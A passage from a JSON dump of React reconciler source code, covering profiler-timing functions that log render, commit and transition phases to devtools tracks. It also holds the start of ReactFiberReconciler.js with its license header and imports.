console.timeStamp(\n        name,\n        startTime,\n        endTime,\n        COMPONENTS_TRACK,\n        undefined,\n        'error',\n      );\n    }\n  }\n}\n\nexport function logComponentEffect(\n  fiber: Fiber,\n  startTime: number,\n  endTime: number,\n  selfTime: number,\n  errors: null | Array<CapturedValue<mixed>>,\n): void {\n  if (errors !== null) {\n    logComponentEffectErrored(fiber, startTime, endTime, errors);\n    return;\n  }\n  const name = getComponentNameFromFiber(fiber);\n  if (name === null) {\n    // Skip\n    return;\n  }\n  if (supportsUserTiming) {\n    const color =\n      selfTime < 1\n        ? 'secondary-light'\n        : selfTime < 100\n          ? 'secondary'\n          : selfTime < 500\n            ? 'secondary-dark'\n            : 'error';\n    const debugTask = fiber._debugTask;\n    if (__DEV__ && debugTask) {\n      debugTask.run(\n        // $FlowFixMe[method-unbinding]\n        console.timeStamp.bind(\n          console,\n          name,\n          startTime,\n          endTime,\n          COMPONENTS_TRACK,\n          undefined,\n          color,\n        ),\n      );\n    } else {\n      console.timeStamp(\n        name,\n        startTime,\n        endTime,\n        COMPONENTS_TRACK,\n        undefined,\n        color,\n      );\n    }\n  }\n}\n\nexport function logYieldTime(startTime: number, endTime: number): void {\n  if (supportsUserTiming) {\n    const yieldDuration = endTime - startTime;\n    if (yieldDuration < 3) {\n      // Skip sub-millisecond yields. This happens all the time and is not interesting.\n      return;\n    }\n    // Being blocked on CPU is potentially bad so we color it by how long it took.\n    const color =\n      yieldDuration < 5\n        ? 'primary-light'\n        : yieldDuration < 10\n          ? 'primary'\n          : yieldDuration < 100\n            ? 'primary-dark'\n            : 'error';\n    // This get logged in the components track if we don't commit which leaves them\n    // hanging by themselves without context. It's a useful indicator for why something\n    // might be starving this render though.\n    // TODO: Considering adding these to a queue and only logging them if we commit.\n    console.timeStamp(\n      'Blocked',\n      startTime,\n      endTime,\n      COMPONENTS_TRACK,\n      undefined,\n      color,\n    );\n  }\n}\n\nexport function logSuspendedYieldTime(\n  startTime: number,\n  endTime: number,\n  suspendedFiber: Fiber,\n): void {\n  if (supportsUserTiming) {\n    const debugTask = suspendedFiber._debugTask;\n    if (__DEV__ && debugTask) {\n      debugTask.run(\n        // $FlowFixMe[method-unbinding]\n        console.timeStamp.bind(\n          console,\n          'Suspended',\n          startTime,\n          endTime,\n          COMPONENTS_TRACK,\n          undefined,\n          'primary-light',\n        ),\n      );\n    } else {\n      console.timeStamp(\n        'Suspended',\n        startTime,\n        endTime,\n        COMPONENTS_TRACK,\n        undefined,\n        'primary-light',\n      );\n    }\n  }\n}\n\nexport function logActionYieldTime(\n  startTime: number,\n  endTime: number,\n  suspendedFiber: Fiber,\n): void {\n  if (supportsUserTiming) {\n    const debugTask = suspendedFiber._debugTask;\n    if (__DEV__ && debugTask) {\n      debugTask.run(\n        // $FlowFixMe[method-unbinding]\n        console.timeStamp.bind(\n          console,\n          'Action',\n          startTime,\n          endTime,\n          COMPONENTS_TRACK,\n          undefined,\n          'primary-light',\n        ),\n      );\n    } else {\n      console.timeStamp(\n        'Action',\n        startTime,\n        endTime,\n        COMPONENTS_TRACK,\n        undefined,\n        'primary-light',\n      );\n    }\n  }\n}\n\nexport function logBlockingStart(\n  updateTime: number,\n  eventTime: number,\n  eventType: null | string,\n  eventIsRepeat: boolean,\n  isSpawnedUpdate: boolean,\n  isPingedUpdate: boolean,\n  renderStartTime: number,\n  lanes: Lanes,\n  debugTask: null | ConsoleTask, // DEV-only\n  updateMethodName: null | string,\n  updateComponentName: null | string,\n): void {\n  if (supportsUserTiming) {\n    currentTrack = 'Blocking';\n    // Clamp start times\n    if (updateTime > 0) {\n      if (updateTime > renderStartTime) {\n        updateTime = renderStartTime;\n      }\n    } else {\n      updateTime = renderStartTime;\n    }\n    if (eventTime > 0) {\n      if (eventTime > updateTime) {\n        eventTime = updateTime;\n      }\n    } else {\n      eventTime = updateTime;\n    }\n    // If a blocking update was spawned within render or an effect, that's considered a cascading render.\n    // If you have a second blocking update within the same event, that suggests multiple flushSync or\n    // setState in a microtask which is also considered a cascade.\n    if (eventType !== null && updateTime > eventTime) {\n      // Log the time from the event timeStamp until we called setState.\n      const color = eventIsRepeat ? 'secondary-light' : 'warning';\n      if (__DEV__ && debugTask) {\n        debugTask.run(\n          // $FlowFixMe[method-unbinding]\n          console.timeStamp.bind(\n            console,\n            eventIsRepeat ? 'Consecutive' : 'Event: ' + eventType,\n            eventTime,\n            updateTime,\n            currentTrack,\n            LANES_TRACK_GROUP,\n            color,\n          ),\n        );\n      } else {\n        console.timeStamp(\n          eventIsRepeat ? 'Consecutive' : 'Event: ' + eventType,\n          eventTime,\n          updateTime,\n          currentTrack,\n          LANES_TRACK_GROUP,\n          color,\n        );\n      }\n    }\n    if (renderStartTime > updateTime) {\n      // Log the time from when we called setState until we started rendering.\n      const color = isSpawnedUpdate\n        ? 'error'\n        : includesOnlyHydrationOrOffscreenLanes(lanes)\n          ? 'tertiary-light'\n          : 'primary-light';\n      const label = isPingedUpdate\n        ? 'Promise Resolved'\n        : isSpawnedUpdate\n          ? 'Cascading Update'\n          : renderStartTime - updateTime > 5\n            ? 'Update Blocked'\n            : 'Update';\n\n      if (__DEV__) {\n        const properties = [];\n        if (updateComponentName != null) {\n          properties.push(['Component name', updateComponentName]);\n        }\n        if (updateMethodName != null) {\n          properties.push(['Method name', updateMethodName]);\n        }\n        const measureOptions = {\n          start: updateTime,\n          end: renderStartTime,\n          detail: {\n            devtools: {\n              properties,\n              track: currentTrack,\n              trackGroup: LANES_TRACK_GROUP,\n              color,\n            },\n          },\n        };\n        if (enablePerformanceIssueReporting && isSpawnedUpdate) {\n          // $FlowFixMe[prop-missing] - detail is untyped\n          measureOptions.detail.devtools.performanceIssue =\n            reusableCascadingUpdateIssue;\n        }\n\n        if (debugTask) {\n          debugTask.run(\n            // $FlowFixMe[method-unbinding]\n            performance.measure.bind(performance, label, measureOptions),\n          );\n        } else {\n          performance.measure(label, measureOptions);\n        }\n        performance.clearMeasures(label);\n      } else {\n        console.timeStamp(\n          label,\n          updateTime,\n          renderStartTime,\n          currentTrack,\n          LANES_TRACK_GROUP,\n          color,\n        );\n      }\n    }\n  }\n}\n\nexport function logGestureStart(\n  updateTime: number,\n  eventTime: number,\n  eventType: null | string,\n  eventIsRepeat: boolean,\n  isPingedUpdate: boolean,\n  renderStartTime: number,\n  debugTask: null | ConsoleTask, // DEV-only\n  updateMethodName: null | string,\n  updateComponentName: null | string,\n): void {\n  if (supportsUserTiming) {\n    currentTrack = 'Gesture';\n    // Clamp start times\n    if (updateTime > 0) {\n      if (updateTime > renderStartTime) {\n        updateTime = renderStartTime;\n      }\n    } else {\n      updateTime = renderStartTime;\n    }\n    if (eventTime > 0) {\n      if (eventTime > updateTime) {\n        eventTime = updateTime;\n      }\n    } else {\n      eventTime = updateTime;\n    }\n\n    if (updateTime > eventTime && eventType !== null) {\n      // Log the time from the event timeStamp until we started a gesture.\n      const color = eventIsRepeat ? 'secondary-light' : 'warning';\n      if (__DEV__ && debugTask) {\n        debugTask.run(\n          console.timeStamp.bind(\n            console,\n            eventIsRepeat ? 'Consecutive' : 'Event: ' + eventType,\n            eventTime,\n            updateTime,\n            currentTrack,\n            LANES_TRACK_GROUP,\n            color,\n          ),\n        );\n      } else {\n        console.timeStamp(\n          eventIsRepeat ? 'Consecutive' : 'Event: ' + eventType,\n          eventTime,\n          updateTime,\n          currentTrack,\n          LANES_TRACK_GROUP,\n          color,\n        );\n      }\n    }\n    if (renderStartTime > updateTime) {\n      // Log the time from when we called setState until we started rendering.\n      const label = isPingedUpdate\n        ? 'Promise Resolved'\n        : renderStartTime - updateTime > 5\n          ? 'Gesture Blocked'\n          : 'Gesture';\n      if (__DEV__) {\n        const properties = [];\n        if (updateComponentName != null) {\n          properties.push(['Component name', updateComponentName]);\n        }\n        if (updateMethodName != null) {\n          properties.push(['Method name', updateMethodName]);\n        }\n        const measureOptions = {\n          start: updateTime,\n          end: renderStartTime,\n          detail: {\n            devtools: {\n              properties,\n              track: currentTrack,\n              trackGroup: LANES_TRACK_GROUP,\n              color: 'primary-light',\n            },\n          },\n        };\n\n        if (debugTask) {\n          debugTask.run(\n            // $FlowFixMe[method-unbinding]\n            performance.measure.bind(performance, label, measureOptions),\n          );\n        } else {\n          performance.measure(label, measureOptions);\n        }\n        performance.clearMeasures(label);\n      } else {\n        console.timeStamp(\n          label,\n          updateTime,\n          renderStartTime,\n          currentTrack,\n          LANES_TRACK_GROUP,\n          'primary-light',\n        );\n      }\n    }\n  }\n}\n\nexport function logTransitionStart(\n  startTime: number,\n  updateTime: number,\n  eventTime: number,\n  eventType: null | string,\n  eventIsRepeat: boolean,\n  isPingedUpdate: boolean,\n  renderStartTime: number,\n  debugTask: null | ConsoleTask, // DEV-only\n  updateMethodName: null | string,\n  updateComponentName: null | string,\n): void {\n  if (supportsUserTiming) {\n    currentTrack = 'Transition';\n    // Clamp start times\n    if (updateTime > 0) {\n      if (updateTime > renderStartTime) {\n        updateTime = renderStartTime;\n      }\n    } else {\n      updateTime = renderStartTime;\n    }\n    if (startTime > 0) {\n      if (startTime > updateTime) {\n        startTime = updateTime;\n      }\n    } else {\n      startTime = updateTime;\n    }\n    if (eventTime > 0) {\n      if (eventTime > startTime) {\n        eventTime = startTime;\n      }\n    } else {\n      eventTime = startTime;\n    }\n\n    if (startTime > eventTime && eventType !== null) {\n      // Log the time from the event timeStamp until we started a transition.\n      const color = eventIsRepeat ? 'secondary-light' : 'warning';\n      if (__DEV__ && debugTask) {\n        debugTask.run(\n          console.timeStamp.bind(\n            console,\n            eventIsRepeat ? 'Consecutive' : 'Event: ' + eventType,\n            eventTime,\n            startTime,\n            currentTrack,\n            LANES_TRACK_GROUP,\n            color,\n          ),\n        );\n      } else {\n        console.timeStamp(\n          eventIsRepeat ? 'Consecutive' : 'Event: ' + eventType,\n          eventTime,\n          startTime,\n          currentTrack,\n          LANES_TRACK_GROUP,\n          color,\n        );\n      }\n    }\n    if (updateTime > startTime) {\n      // Log the time from when we started an async transition until we called setState or started rendering.\n      // TODO: Ideally this would use the debugTask of the startTransition call perhaps.\n      if (__DEV__ && debugTask) {\n        debugTask.run(\n          // $FlowFixMe[method-unbinding]\n          console.timeStamp.bind(\n            console,\n            'Action',\n            startTime,\n            updateTime,\n            currentTrack,\n            LANES_TRACK_GROUP,\n            'primary-dark',\n          ),\n        );\n      } else {\n        console.timeStamp(\n          'Action',\n          startTime,\n          updateTime,\n          currentTrack,\n          LANES_TRACK_GROUP,\n          'primary-dark',\n        );\n      }\n    }\n    if (renderStartTime > updateTime) {\n      // Log the time from when we called setState until we started rendering.\n      const label = isPingedUpdate\n        ? 'Promise Resolved'\n        : renderStartTime - updateTime > 5\n          ? 'Update Blocked'\n          : 'Update';\n      if (__DEV__) {\n        const properties = [];\n        if (updateComponentName != null) {\n          properties.push(['Component name', updateComponentName]);\n        }\n        if (updateMethodName != null) {\n          properties.push(['Method name', updateMethodName]);\n        }\n        const measureOptions = {\n          start: updateTime,\n          end: renderStartTime,\n          detail: {\n            devtools: {\n              properties,\n              track: currentTrack,\n              trackGroup: LANES_TRACK_GROUP,\n              color: 'primary-light',\n            },\n          },\n        };\n\n        if (debugTask) {\n          debugTask.run(\n            // $FlowFixMe[method-unbinding]\n            performance.measure.bind(performance, label, measureOptions),\n          );\n        } else {\n          performance.measure(label, measureOptions);\n        }\n        performance.clearMeasures(label);\n      } else {\n        console.timeStamp(\n          label,\n          updateTime,\n          renderStartTime,\n          currentTrack,\n          LANES_TRACK_GROUP,\n          'primary-light',\n        );\n      }\n    }\n  }\n}\n\nexport function logRenderPhase(\n  startTime: number,\n  endTime: number,\n  lanes: Lanes,\n  debugTask: null | ConsoleTask,\n): void {\n  if (supportsUserTiming) {\n    if (endTime <= startTime) {\n      return;\n    }\n    const color = includesOnlyHydrationOrOffscreenLanes(lanes)\n      ? 'tertiary-dark'\n      : 'primary-dark';\n    const label = includesOnlyOffscreenLanes(lanes)\n      ? 'Prepared'\n      : includesOnlyHydrationLanes(lanes)\n        ? 'Hydrated'\n        : 'Render';\n    if (__DEV__ && debugTask) {\n      debugTask.run(\n        // $FlowFixMe[method-unbinding]\n        console.timeStamp.bind(\n          console,\n          label,\n          startTime,\n          endTime,\n          currentTrack,\n          LANES_TRACK_GROUP,\n          color,\n        ),\n      );\n    } else {\n      console.timeStamp(\n        label,\n        startTime,\n        endTime,\n        currentTrack,\n        LANES_TRACK_GROUP,\n        color,\n      );\n    }\n  }\n}\n\nexport function logInterruptedRenderPhase(\n  startTime: number,\n  endTime: number,\n  lanes: Lanes,\n  debugTask: null | ConsoleTask,\n): void {\n  if (supportsUserTiming) {\n    if (endTime <= startTime) {\n      return;\n    }\n    const color = includesOnlyHydrationOrOffscreenLanes(lanes)\n      ? 'tertiary-dark'\n      : 'primary-dark';\n    const label = includesOnlyOffscreenLanes(lanes)\n      ? 'Prewarm'\n      : includesOnlyHydrationLanes(lanes)\n        ? 'Interrupted Hydration'\n        : 'Interrupted Render';\n    if (__DEV__ && debugTask) {\n      debugTask.run(\n        // $FlowFixMe[method-unbinding]\n        console.timeStamp.bind(\n          console,\n          label,\n          startTime,\n          endTime,\n          currentTrack,\n          LANES_TRACK_GROUP,\n          color,\n        ),\n      );\n    } else {\n      console.timeStamp(\n        label,\n        startTime,\n        endTime,\n        currentTrack,\n        LANES_TRACK_GROUP,\n        color,\n      );\n    }\n  }\n}\n\nexport function logSuspendedRenderPhase(\n  startTime: number,\n  endTime: number,\n  lanes: Lanes,\n  debugTask: null | ConsoleTask,\n): void {\n  if (supportsUserTiming) {\n    if (endTime <= startTime) {\n      return;\n    }\n    const color = includesOnlyHydrationOrOffscreenLanes(lanes)\n      ? 'tertiary-dark'\n      : 'primary-dark';\n    if (__DEV__ && debugTask) {\n      debugTask.run(\n        // $FlowFixMe[method-unbinding]\n        console.timeStamp.bind(\n          console,\n          'Prewarm',\n          startTime,\n          endTime,\n          currentTrack,\n          LANES_TRACK_GROUP,\n          color,\n        ),\n      );\n    } else {\n      console.timeStamp(\n        'Prewarm',\n        startTime,\n        endTime,\n        currentTrack,\n        LANES_TRACK_GROUP,\n        color,\n      );\n    }\n  }\n}\n\nexport function logSuspendedWithDelayPhase(\n  startTime: number,\n  endTime: number,\n  lanes: Lanes,\n  debugTask: null | ConsoleTask,\n): void {\n  // This means the render was suspended and cannot commit until it gets unblocked.\n  if (supportsUserTiming) {\n    if (endTime <= startTime) {\n      return;\n    }\n    const color = includesOnlyHydrationOrOffscreenLanes(lanes)\n      ? 'tertiary-dark'\n      : 'primary-dark';\n    if (__DEV__ && debugTask) {\n      debugTask.run(\n        // $FlowFixMe[method-unbinding]\n        console.timeStamp.bind(\n          console,\n          'Suspended',\n          startTime,\n          endTime,\n          currentTrack,\n          LANES_TRACK_GROUP,\n          color,\n        ),\n      );\n    } else {\n      console.timeStamp(\n        'Suspended',\n        startTime,\n        endTime,\n        currentTrack,\n        LANES_TRACK_GROUP,\n        color,\n      );\n    }\n  }\n}\n\nexport function logRecoveredRenderPhase(\n  startTime: number,\n  endTime: number,\n  lanes: Lanes,\n  recoverableErrors: Array<CapturedValue<mixed>>,\n  hydrationFailed: boolean,\n  debugTask: null | ConsoleTask,\n): void {\n  if (supportsUserTiming) {\n    if (endTime <= startTime) {\n      return;\n    }\n    if (__DEV__) {\n      const properties: Array<[string, string]> = [];\n      for (let i = 0; i < recoverableErrors.length; i++) {\n        const capturedValue = recoverableErrors[i];\n        const error = capturedValue.value;\n        const message =\n          typeof error === 'object' &&\n          error !== null &&\n          typeof error.message === 'string'\n            ? // eslint-disable-next-line react-internal/safe-string-coercion\n              String(error.message)\n            : // eslint-disable-next-line react-internal/safe-string-coercion\n              String(error);\n        properties.push(['Recoverable Error', message]);\n      }\n      const options: PerformanceMeasureOptions = {\n        start: startTime,\n        end: endTime,\n        detail: {\n          devtools: {\n            color: 'primary-dark',\n            track: currentTrack,\n            trackGroup: LANES_TRACK_GROUP,\n            tooltipText: hydrationFailed\n              ? 'Hydration Failed'\n              : 'Recovered after Error',\n            properties,\n          },\n        },\n      };\n      if (debugTask) {\n        debugTask.run(\n          // $FlowFixMe[method-unbinding]\n          performance.measure.bind(performance, 'Recovered', options),\n        );\n      } else {\n        performance.measure('Recovered', options);\n      }\n      performance.clearMeasures('Recovered');\n    } else {\n      console.timeStamp(\n        'Recovered',\n        startTime,\n        endTime,\n        currentTrack,\n        LANES_TRACK_GROUP,\n        'error',\n      );\n    }\n  }\n}\n\nexport function logErroredRenderPhase(\n  startTime: number,\n  endTime: number,\n  lanes: Lanes,\n  debugTask: null | ConsoleTask,\n): void {\n  if (supportsUserTiming) {\n    if (endTime <= startTime) {\n      return;\n    }\n    if (__DEV__ && debugTask) {\n      debugTask.run(\n        // $FlowFixMe[method-unbinding]\n        console.timeStamp.bind(\n          console,\n          'Errored',\n          startTime,\n          endTime,\n          currentTrack,\n          LANES_TRACK_GROUP,\n          'error',\n        ),\n      );\n    } else {\n      console.timeStamp(\n        'Errored',\n        startTime,\n        endTime,\n        currentTrack,\n        LANES_TRACK_GROUP,\n        'error',\n      );\n    }\n  }\n}\n\nexport function logInconsistentRender(\n  startTime: number,\n  endTime: number,\n  debugTask: null | ConsoleTask,\n): void {\n  if (supportsUserTiming) {\n    if (endTime <= startTime) {\n      return;\n    }\n    if (__DEV__ && debugTask) {\n      debugTask.run(\n        // $FlowFixMe[method-unbinding]\n        console.timeStamp.bind(\n          console,\n          'Teared Render',\n          startTime,\n          endTime,\n          currentTrack,\n          LANES_TRACK_GROUP,\n          'error',\n        ),\n      );\n    } else {\n      console.timeStamp(\n        'Teared Render',\n        startTime,\n        endTime,\n        currentTrack,\n        LANES_TRACK_GROUP,\n        'error',\n      );\n    }\n  }\n}\n\nexport function logSuspendedCommitPhase(\n  startTime: number,\n  endTime: number,\n  reason: string,\n  debugTask: null | ConsoleTask,\n): void {\n  // This means the commit was suspended on CSS or images.\n  if (supportsUserTiming) {\n    if (endTime <= startTime) {\n      return;\n    }\n    // TODO: Include the exact reason and URLs of what resources suspended.\n    // TODO: This might also be Suspended while waiting on a View Transition.\n    if (__DEV__ && debugTask) {\n      debugTask.run(\n        // $FlowFixMe[method-unbinding]\n        console.timeStamp.bind(\n          console,\n          reason,\n          startTime,\n          endTime,\n          currentTrack,\n          LANES_TRACK_GROUP,\n          'secondary-light',\n        ),\n      );\n    } else {\n      console.timeStamp(\n        reason,\n        startTime,\n        endTime,\n        currentTrack,\n        LANES_TRACK_GROUP,\n        'secondary-light',\n      );\n    }\n  }\n}\n\nexport function logSuspendedViewTransitionPhase(\n  startTime: number,\n  endTime: number,\n  reason: string,\n  debugTask: null | ConsoleTask,\n): void {\n  // This means the commit was suspended on CSS or images.\n  if (supportsUserTiming) {\n    if (endTime <= startTime) {\n      return;\n    }\n    // TODO: Include the exact reason and URLs of what resources suspended.\n    // TODO: This might also be Suspended while waiting on a View Transition.\n    if (__DEV__ && debugTask) {\n      debugTask.run(\n        // $FlowFixMe[method-unbinding]\n        console.timeStamp.bind(\n          console,\n          reason,\n          startTime,\n          endTime,\n          currentTrack,\n          LANES_TRACK_GROUP,\n          'secondary-light',\n        ),\n      );\n    } else {\n      console.timeStamp(\n        reason,\n        startTime,\n        endTime,\n        currentTrack,\n        LANES_TRACK_GROUP,\n        'secondary-light',\n      );\n    }\n  }\n}\n\nexport function logCommitErrored(\n  startTime: number,\n  endTime: number,\n  errors: Array<CapturedValue<mixed>>,\n  passive: boolean,\n  debugTask: null | ConsoleTask,\n): void {\n  if (supportsUserTiming) {\n    if (endTime <= startTime) {\n      return;\n    }\n    if (__DEV__) {\n      const properties: Array<[string, string]> = [];\n      for (let i = 0; i < errors.length; i++) {\n        const capturedValue = errors[i];\n        const error = capturedValue.value;\n        const message =\n          typeof error === 'object' &&\n          error !== null &&\n          typeof error.message === 'string'\n            ? // eslint-disable-next-line react-internal/safe-string-coercion\n              String(error.message)\n            : // eslint-disable-next-line react-internal/safe-string-coercion\n              String(error);\n        properties.push(['Error', message]);\n      }\n      const options: PerformanceMeasureOptions = {\n        start: startTime,\n        end: endTime,\n        detail: {\n          devtools: {\n            color: 'error',\n            track: currentTrack,\n            trackGroup: LANES_TRACK_GROUP,\n            tooltipText: passive\n              ? 'Remaining Effects Errored'\n              : 'Commit Errored',\n            properties,\n          },\n        },\n      };\n      if (debugTask) {\n        debugTask.run(\n          // $FlowFixMe[method-unbinding]\n          performance.measure.bind(performance, 'Errored', options),\n        );\n      } else {\n        performance.measure('Errored', options);\n      }\n      performance.clearMeasures('Errored');\n    } else {\n      console.timeStamp(\n        'Errored',\n        startTime,\n        endTime,\n        currentTrack,\n        LANES_TRACK_GROUP,\n        'error',\n      );\n    }\n  }\n}\n\nexport function logCommitPhase(\n  startTime: number,\n  endTime: number,\n  errors: null | Array<CapturedValue<mixed>>,\n  abortedViewTransition: boolean,\n  debugTask: null | ConsoleTask,\n): void {\n  if (errors !== null) {\n    logCommitErrored(startTime, endTime, errors, false, debugTask);\n    return;\n  }\n  if (supportsUserTiming) {\n    if (endTime <= startTime) {\n      return;\n    }\n    if (__DEV__ && debugTask) {\n      debugTask.run(\n        // $FlowFixMe[method-unbinding]\n        console.timeStamp.bind(\n          console,\n          abortedViewTransition\n            ? 'Commit Interrupted View Transition'\n            : 'Commit',\n          startTime,\n          endTime,\n          currentTrack,\n          LANES_TRACK_GROUP,\n          abortedViewTransition ? 'error' : 'secondary-dark',\n        ),\n      );\n    } else {\n      console.timeStamp(\n        abortedViewTransition ? 'Commit Interrupted View Transition' : 'Commit',\n        startTime,\n        endTime,\n        currentTrack,\n        LANES_TRACK_GROUP,\n        abortedViewTransition ? 'error' : 'secondary-dark',\n      );\n    }\n  }\n}\n\nexport function logPaintYieldPhase(\n  startTime: number,\n  endTime: number,\n  delayedUntilPaint: boolean,\n  debugTask: null | ConsoleTask,\n): void {\n  if (supportsUserTiming) {\n    if (endTime <= startTime) {\n      return;\n    }\n    if (__DEV__ && debugTask) {\n      debugTask.run(\n        // $FlowFixMe[method-unbinding]\n        console.timeStamp.bind(\n          console,\n          delayedUntilPaint ? 'Waiting for Paint' : 'Waiting',\n          startTime,\n          endTime,\n          currentTrack,\n          LANES_TRACK_GROUP,\n          'secondary-light',\n        ),\n      );\n    } else {\n      console.timeStamp(\n        delayedUntilPaint ? 'Waiting for Paint' : 'Waiting',\n        startTime,\n        endTime,\n        currentTrack,\n        LANES_TRACK_GROUP,\n        'secondary-light',\n      );\n    }\n  }\n}\n\nexport function logApplyGesturePhase(\n  startTime: number,\n  endTime: number,\n  debugTask: null | ConsoleTask,\n): void {\n  if (supportsUserTiming) {\n    if (endTime <= startTime) {\n      return;\n    }\n    if (__DEV__ && debugTask) {\n      debugTask.run(\n        // $FlowFixMe[method-unbinding]\n        console.timeStamp.bind(\n          console,\n          'Create Ghost Tree',\n          startTime,\n          endTime,\n          currentTrack,\n          LANES_TRACK_GROUP,\n          'secondary-dark',\n        ),\n      );\n    } else {\n      console.timeStamp(\n        'Create Ghost Tree',\n        startTime,\n        endTime,\n        currentTrack,\n        LANES_TRACK_GROUP,\n        'secondary-dark',\n      );\n    }\n  }\n}\n\nexport function logStartViewTransitionYieldPhase(\n  startTime: number,\n  endTime: number,\n  abortedViewTransition: boolean,\n  debugTask: null | ConsoleTask,\n): void {\n  if (supportsUserTiming) {\n    if (endTime <= startTime) {\n      return;\n    }\n    if (__DEV__ && debugTask) {\n      debugTask.run(\n        // $FlowFixMe[method-unbinding]\n        console.timeStamp.bind(\n          console,\n          abortedViewTransition\n            ? 'Interrupted View Transition'\n            : 'Starting Animation',\n          startTime,\n          endTime,\n          currentTrack,\n          LANES_TRACK_GROUP,\n          abortedViewTransition ? 'error' : 'secondary-light',\n        ),\n      );\n    } else {\n      console.timeStamp(\n        abortedViewTransition\n          ? 'Interrupted View Transition'\n          : 'Starting Animation',\n        startTime,\n        endTime,\n        currentTrack,\n        LANES_TRACK_GROUP,\n        abortedViewTransition ? ' error' : 'secondary-light',\n      );\n    }\n  }\n}\n\nexport function logAnimatingPhase(\n  startTime: number,\n  endTime: number,\n  debugTask: null | ConsoleTask,\n): void {\n  if (supportsUserTiming) {\n    if (endTime <= startTime) {\n      return;\n    }\n    if (__DEV__ && debugTask) {\n      debugTask.run(\n        // $FlowFixMe[method-unbinding]\n        console.timeStamp.bind(\n          console,\n          'Animating',\n          startTime,\n          endTime,\n          currentTrack,\n          LANES_TRACK_GROUP,\n          'secondary-dark',\n        ),\n      );\n    } else {\n      console.timeStamp(\n        'Animating',\n        startTime,\n        endTime,\n        currentTrack,\n        LANES_TRACK_GROUP,\n        'secondary-dark',\n      );\n    }\n  }\n}\n\nexport function logPassiveCommitPhase(\n  startTime: number,\n  endTime: number,\n  errors: null | Array<CapturedValue<mixed>>,\n  debugTask: null | ConsoleTask,\n): void {\n  if (errors !== null) {\n    logCommitErrored(startTime, endTime, errors, true, debugTask);\n    return;\n  }\n  if (supportsUserTiming) {\n    if (endTime <= startTime) {\n      return;\n    }\n    if (__DEV__ && debugTask) {\n      debugTask.run(\n        // $FlowFixMe[method-unbinding]\n        console.timeStamp.bind(\n          console,\n          'Remaining Effects',\n          startTime,\n          endTime,\n          currentTrack,\n          LANES_TRACK_GROUP,\n          'secondary-dark',\n        ),\n      );\n    } else {\n      console.timeStamp(\n        'Remaining Effects',\n        startTime,\n        endTime,\n        currentTrack,\n        LANES_TRACK_GROUP,\n        'secondary-dark',\n      );\n    }\n  }\n}\n"
  },
  {
    "path": "packages/react-reconciler/src/ReactFiberReconciler.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {\n  Fiber,\n  FiberRoot,\n  SuspenseHydrationCallbacks,\n  TransitionTracingCallbacks,\n} from './ReactInternalTypes';\nimport type {RootTag} from './ReactRootTags';\nimport type {\n  Container,\n  PublicInstance,\n  RendererInspectionConfig,\n} from './ReactFiberConfig';\nimport type {ReactNodeList, ReactFormState} from 'shared/ReactTypes';\nimport type {Lane} from './ReactFiberLane';\nimport type {ActivityState} from './ReactFiberActivityComponent';\nimport type {SuspenseState} from './ReactFiberSuspenseComponent';\n\nimport {LegacyRoot} from './ReactRootTags';\nimport {\n  findCurrentHostFiber,\n  findCurrentHostFiberWithNoPortals,\n} from './ReactFiberTreeReflection';\nimport {get as getInstance} from 'shared/ReactInstanceMap';\nimport {\n  HostComponent,\n  HostSingleton,\n  ClassComponent,\n  HostRoot,\n  SuspenseComponent,\n  ActivityComponent,\n} from './ReactWorkTags';\nimport getComponentNameFromFiber from 'react-reconciler/src/getComponentNameFromFiber';\nimport isArray from 'shared/isArray';\nimport {\n  enableSchedulingProfiler,\n  disableLegacyMode,\n} from 'shared/ReactFeatureFlags';\nimport ReactSharedInternals from 'shared/ReactSharedInternals';\nimport {\n  getPublicInstance,\n  rendererVersion,\n  rendererPackageName,\n  extraDevToolsConfig,\n} from './ReactFiberConfig';\nimport {\n  findCurrentUnmaskedContext,\n  processChildContext,\n  emptyContextObject,\n  isContextProvider as isLegacyContextProvider,\n} from './ReactFiberLegacyContext';\nimport {createFiberRoot} from './ReactFiberRoot';\nimport {isRootDehydrated} from './ReactFiberShellHydration';\nimport {\n  injectInternals,\n  markRenderScheduled,\n  onScheduleRoot,\n  injectProfilingHooks,\n} from './ReactFiberDevToolsHook';\nimport {startUpdateTimerByLane} from './ReactProfilerTimer';\nimport {\n  requestUpdateLane,\n  scheduleUpdateOnFiber,\n  scheduleInitialHydrationOnRoot,\n  flushRoot,\n  batchedUpdates,\n  flushSyncFromReconciler,\n  flushSyncWork,\n  isAlreadyRendering,\n  deferredUpdates,\n  discreteUpdates,\n  flushPendingEffects,\n} from './ReactFiberWorkLoop';\nimport {enqueueConcurrentRenderForLane} from './ReactFiberConcurrentUpdates';\nimport {\n  createUpdate,\n  enqueueUpdate,\n  entangleTransitions,\n} from './ReactFiberClassUpdateQueue';\nimport {\n  isRendering as ReactCurrentFiberIsRendering,\n  current as ReactCurrentFiberCurrent,\n  runWithFiberInDEV,\n} from './ReactCurrentFiber';\nimport {StrictLegacyMode} from './ReactTypeOfMode';\nimport {\n  SyncLane,\n  SelectiveHydrationLane,\n  getHighestPriorityPendingLanes,\n  higherPriorityLane,\n  getBumpedLaneForHydrationByLane,\n  claimNextRetryLane,\n} from './ReactFiberLane';\nimport {\n  scheduleRefresh,\n  scheduleRoot,\n  setRefreshHandler,\n} from './ReactFiberHotReloading';\nimport ReactVersion from 'shared/ReactVersion';\nexport {createPortal} from './ReactPortal';\nexport {\n  createComponentSelector,\n  createHasPseudoClassSelector,\n  createRoleSelector,\n  createTestNameSelector,\n  createTextSelector,\n  getFindAllNodesFailureDescription,\n  findAllNodes,\n  findBoundingRects,\n  focusWithin,\n  observeVisibleRects,\n} from './ReactTestSelectors';\nexport {startHostTransition} from './ReactFiberHooks';\nexport {\n  defaultOnUncaughtError,\n  defaultOnCaughtError,\n  defaultOnRecoverableError,\n} from './ReactFiberErrorLogger';\nimport {getLabelForLane, TotalLanes} from 'react-reconciler/src/ReactFiberLane';\nimport {registerDefaultIndicator} from './ReactFiberAsyncAction';\n\ntype OpaqueRoot = FiberRoot;\n\nlet didWarnAboutNestedUpdates;\nlet didWarnAboutFindNodeInStrictMode;\n\nif (__DEV__) {\n  didWarnAboutNestedUpdates = false;\n  didWarnAboutFindNodeInStrictMode = ({}: {[string]: boolean});\n}\n\nfunction getContextForSubtree(\n  parentComponent: ?component(...props: any),\n): Object {\n  if (!parentComponent) {\n    return emptyContextObject;\n  }\n\n  const fiber = getInstance(parentComponent);\n  const parentContext = 